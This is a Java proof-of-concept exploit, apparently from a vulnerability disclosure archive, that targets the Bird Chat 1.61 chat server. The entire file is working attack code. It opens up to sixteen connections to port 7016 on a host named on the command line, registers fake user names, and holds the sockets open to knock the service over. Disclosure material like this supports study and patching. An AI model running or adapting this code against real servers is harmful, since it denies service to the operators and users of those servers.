/*
     Bird Chat 1.61 - Denial Of Service - Proof Of Concept
     Coded by: Donato Ferrante
*/



import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;
import java.net.SocketTimeoutException;
import java.io.OutputStream;
import java.io.InputStream;







public class BirdChat161_DoS_poc {



private final static int MAX_CONNECTION = 16;
private final static int PORT = 7016;
private final static String VERSION = "0.1.0";



public static void main(String [] args){



   System.out.println(
                      "\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
                      "Version: " + VERSION + "\n\n"                 +
                      "coded by: Donato Ferrante\n"                  +
                      "e-mail:   fdonato@autistici.org\n"            +
                      "web:      www.autistici.org/fdonato\n\n"
                     );


	String host = "localhost";

		try{

			if(args.length != 1)
				usage();

				host = args[0];

		}catch(Exception e){usage();}
	
		try{


			int i = 1,
			    var = 0;


		   while(i++ <= MAX_CONNECTION){

			try{

                String err = "";
        		int port = PORT;
        		InetAddress addr = InetAddress.getByName(host);
        		Socket socket = new Socket(addr, port);
        		socket.setSoTimeout(3000);



        		InputStream stream = socket.getInputStream();

   				int line = stream.read();
        			while(line != -1){

        				if(line == '?'){
        					break;
        				}

        				line = stream.read();

        			}


        		OutputStream outStream = socket.getOutputStream();
        		outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());


				int count = 0;
                line = stream.read();
	        		while(true){

        				line = stream.read();

	        			if(line == '\n')
    	    				count++;

        				if(count >= 3)
        					break;
        		}


			}catch(SocketTimeoutException ste){break;}
			catch(ConnectException ce){System.err.println(ce); continue;}
		}


		}catch(Exception e){System.err.println(e);}

		System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
	}







	private static void usage(){

		System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");	
		System.exit(-1);
	}






}